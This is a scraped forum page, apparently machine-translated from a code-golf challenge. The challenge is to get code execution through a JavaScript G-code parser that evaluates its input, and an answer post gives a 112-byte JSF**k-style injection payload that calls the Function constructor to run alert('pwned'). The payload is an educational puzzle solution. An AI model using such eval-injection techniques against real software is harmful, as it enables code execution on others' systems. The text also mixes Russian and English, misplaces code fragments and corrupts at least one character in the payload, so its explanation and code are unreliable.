Javascript — Взломать Парсер G-Code.js

  • Автор темы Игорь1234
  • Обновлено
  • 21, Oct 2024
  • #1

Здесь вы можете увидеть парсер g-кода, написанный на JavaScript для использования в микроконтроллере (например, Espruino). Но вы можете запустить его в браузере, поскольку он не использует никаких специфических функций.

 alert("pwned") 

Когда ты проходишь eval to G1({X: 3, Y: 4.53, Z: 42}) , он работает gcode() . As you can see, it uses G1 X3 Y4.53 Z42 , защищенное регулярным выражением. Но несмотря на это, вы можете атаковать эту функцию и вызвать удаленное выполнение кода. Ваша цель — бежать function gcode(str){ //Removes comment, parses command name and args const [,f,args] = (str.match(/^([GM]\d+) ([^;]+)/) || [,"",""]); //A1.2 B43 C -> {A: 1.2, B: 42, C: 0} eval(f+"({"+args.replace(/(\w)([\d\.]*)/g,"$1: $2+0,")+"})"); } const G1 = console.log; gcode(prompt("crackme")); . This is code golf, so shortest working input wins

javascript — Взломать парсер g-code.js

#код-гольф #javascript

Игорь1234


Рег
21 Nov, 2011

Тем
71

Постов
194

Баллов
579
  • 26, Oct 2024
  • #2

112 байт

 
 
 
 ":" 
+[]
  • Каждый $ (U+0192), Τ (U+03A4) стоят 2 байта, они не такие же, как ASCII. ƒ=(Τ,$=+[])=>Τ[$]эΤ[$]+ƒ(Τ,++$+'5'[+[]]*(Τ[$]==':')):'' , "c: +0,o: +0,n: +0,....r: +0" .

"constructor" function will keep any gcode персонажи как есть. Итак, нам просто нужно использовать эти символы, чтобы написать здесь некоторую логику. Идея в основном основана на том, как работает JSF**k. Мы строим коды следующим образом:

alert("pwned")

Нам нужен строковый литерал "constructor" and (()=>{})["constructor"]('alert("pwned")') . Но /\W/ convert gcode к T . So we need to convert the string back. We use this function to do the convert:

f

Τ is the text inputed, $ is index. We first initialize ƒ до 0 с помощью function gcode(str){ //Removes comment, parses command name and args const [,f,args] = (str.match(/^([GM]\d+) ([^;]+)/) || [,"",""]); //A1.2 B43 C -> {A: 1.2, B: 42, C: 0} eval(f+"({"+args.replace(/(\w)([\d\.]*)/g,"$1: $2+0,")+"})"); } const G1 = console.log; payload = `G1 $:(ƒ=(Τ,$=+[])=>Τ[$]эΤ[$]+ƒ(Τ,++$+'5'[+[]]*(Τ[$]==':')):'')[ƒ('constructor')](ƒ('alert("pwned")'))()`; gcode(payload); . Then we output the character at the index position, and check if next character is G1 $:(ƒ=(Τ,$=+[])=>Τ[$]эΤ[$]+ƒ(Τ,++$+'5'[+[]]*(Τ[$]==':')):'')[ƒ('constructor')](ƒ('alert("pwned")'))() , если да, то мы пропускаем следующие 5 символов.


Благодаря l4m2 экономится несколько байт.

 

Shanty


Рег
19 Aug, 2006

Тем
80

Постов
202

Баллов
622
Тем
403,760
Комментарии
400,028
Опыт
2,418,908

Интересно